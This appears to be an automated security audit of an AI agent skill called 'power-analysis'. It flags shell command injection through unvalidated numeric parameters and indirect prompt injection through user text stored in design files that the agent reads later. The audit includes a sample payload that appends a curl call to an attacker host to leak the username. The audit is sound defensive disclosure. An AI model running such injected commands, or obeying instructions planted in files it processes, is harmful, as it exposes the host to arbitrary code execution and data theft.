power-analysis

Warn

Audited by Gen Agent Trust Hub on Jun 23, 2026

Risk Level: MEDIUMCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill uses a template for executing a local Python script that incorporates user-provided parameters directly into a shell command.
  • Evidence: The <power_cmd> binding in SKILL.md is defined as python3 <skill_dir>/tools/power_sim.py --design <two-sample-mean|two-proportion> --effect <e> [--sd <sd> | --baseline <p0>] --alpha <alpha> --n <n_per_group>.
  • Risk: If the agent fails to strictly validate that inputs for <e>, <sd>, <alpha>, and <n_per_group> are numeric, a malicious user could provide strings containing shell metacharacters (e.g., 0.5; curl http://attacker.com/$(whoami)) to achieve arbitrary command execution on the host.
  • [PROMPT_INJECTION]: The skill ingests untrusted user input and incorporates it into documents that are later processed by the agent, creating a surface for indirect prompt injection.
  • Ingestion points: The agent prompts the user for a <hypothesis> and <outcome> description, which are stored in loop.run.yaml and design.md (as seen in the Setup and Loop sections of SKILL.md).
  • Boundary markers: Absent. The instructions do not define any delimiters or provide "ignore embedded instructions" warnings for the user-supplied content used in the design documents.
  • Capability inventory: The agent has the capability to write files (design.md, ledger.tsv, loop.run.yaml) and execute shell commands via the simulation tool.
  • Sanitization: Absent. There is no instruction to validate, escape, or filter the user input before it is written to the file system or used in command construction.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Jun 23, 2026, 04:42 PM
Security Audit — agent-trust-hub — power-analysis